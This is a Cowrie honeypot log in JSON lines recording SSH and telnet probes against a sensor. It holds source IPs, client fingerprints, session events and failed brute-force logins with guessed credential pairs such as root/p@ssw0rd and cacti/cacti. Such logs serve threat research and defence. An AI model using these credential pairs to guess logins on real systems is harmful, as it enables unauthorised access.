{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:13.345684Z","src_ip":"45.156.87.204","session":"3b6cc5700ebb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"alona","message":"login attempt [admin/alona] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:13.455816Z","src_ip":"2.57.121.112","session":"6c8feabb9b74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:13.896995Z","src_ip":"45.156.87.204","session":"3b6cc5700ebb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdasd123123","message":"login attempt [root/asdasd123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:13.937779Z","src_ip":"42.200.78.78","session":"777d4b929188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:14.247739Z","src_ip":"94.26.106.229","session":"d4036cb7d81d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:14.562637Z","src_ip":"2.57.121.112","session":"6c8feabb9b74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:14.982045Z","src_ip":"45.156.87.204","session":"3b6cc5700ebb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:15.162751Z","src_ip":"42.200.78.78","session":"777d4b929188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.07426714897156,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:16.060347Z","src_ip":"152.42.224.71","session":"a836e66dccb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47914,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f4c437f0d96","protocol":"telnet","message":"New connection: 152.42.224.71:47914 (10.17.0.5:23) [session: 2f4c437f0d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:16.246385Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":44360,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e4478924085","protocol":"ssh","message":"New connection: 45.156.87.204:44360 (159.203.135.109:22) [session: 2e4478924085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:17.115006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:17.121127Z","src_ip":"45.156.87.204","session":"2e4478924085","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:17.208541Z","src_ip":"45.156.87.204","session":"2e4478924085","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QQ123456","message":"login attempt [root/QQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:17.465078Z","src_ip":"45.156.87.204","session":"2e4478924085","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":27524,"dst_ip":"159.203.135.109","dst_port":22,"session":"061147ff7cc0","protocol":"ssh","message":"New connection: 94.26.106.229:27524 (159.203.135.109:22) [session: 061147ff7cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:17.678035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:17.683547Z","src_ip":"94.26.106.229","session":"061147ff7cc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:17.772838Z","src_ip":"94.26.106.229","session":"061147ff7cc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a1marion","password":"123456","message":"login attempt [a1marion/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:18.043058Z","src_ip":"94.26.106.229","session":"061147ff7cc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:18.550830Z","src_ip":"45.156.87.204","session":"2e4478924085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:19.134508Z","src_ip":"94.26.106.229","session":"061147ff7cc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":44368,"dst_ip":"159.203.135.109","dst_port":22,"session":"3963c77c037b","protocol":"ssh","message":"New connection: 45.156.87.204:44368 (159.203.135.109:22) [session: 3963c77c037b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:20.686881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:20.691301Z","src_ip":"45.156.87.204","session":"3963c77c037b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:20.773556Z","src_ip":"45.156.87.204","session":"3963c77c037b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:21.145833Z","src_ip":"45.156.87.204","session":"3963c77c037b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00223875045776,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:21.971734Z","src_ip":"152.42.224.71","session":"75da34ef92d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:22.230822Z","src_ip":"45.156.87.204","session":"3963c77c037b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":34318,"dst_ip":"159.203.135.109","dst_port":22,"session":"b180f47595ba","protocol":"ssh","message":"New connection: 45.156.87.204:34318 (159.203.135.109:22) [session: b180f47595ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:24.105484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:24.194605Z","src_ip":"45.156.87.204","session":"b180f47595ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:24.208527Z","src_ip":"45.156.87.204","session":"b180f47595ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:24.648370Z","src_ip":"45.156.87.204","session":"b180f47595ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":38122,"dst_ip":"159.203.135.109","dst_port":22,"session":"937f64e06e0e","protocol":"ssh","message":"New connection: 94.26.106.229:38122 (159.203.135.109:22) [session: 937f64e06e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:24.814153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:24.821104Z","src_ip":"94.26.106.229","session":"937f64e06e0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.90871000289917,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:24.968788Z","src_ip":"152.42.224.71","session":"4c3e7bd0780d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:25.003664Z","src_ip":"94.26.106.229","session":"937f64e06e0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cacti","password":"cacti","message":"login attempt [cacti/cacti] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:25.627694Z","src_ip":"94.26.106.229","session":"937f64e06e0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.07261919975281,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:25.672068Z","src_ip":"152.42.224.71","session":"a7464020157d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:25.736470Z","src_ip":"45.156.87.204","session":"b180f47595ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:26.715622Z","src_ip":"94.26.106.229","session":"937f64e06e0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":49474,"dst_ip":"10.17.0.5","dst_port":22,"session":"9773831eb8a4","protocol":"ssh","message":"New connection: 193.228.128.84:49474 (10.17.0.5:22) [session: 9773831eb8a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:27.611254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:27.621963Z","src_ip":"193.228.128.84","session":"9773831eb8a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":38124,"dst_ip":"159.203.135.109","dst_port":22,"session":"318459724bff","protocol":"ssh","message":"New connection: 94.26.106.229:38124 (159.203.135.109:22) [session: 318459724bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:27.640113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:27.645135Z","src_ip":"94.26.106.229","session":"318459724bff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:27.724802Z","src_ip":"193.228.128.84","session":"9773831eb8a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:27.733345Z","src_ip":"94.26.106.229","session":"318459724bff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":34354,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba4f4aa25224","protocol":"ssh","message":"New connection: 45.156.87.204:34354 (159.203.135.109:22) [session: ba4f4aa25224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:27.943767Z"}
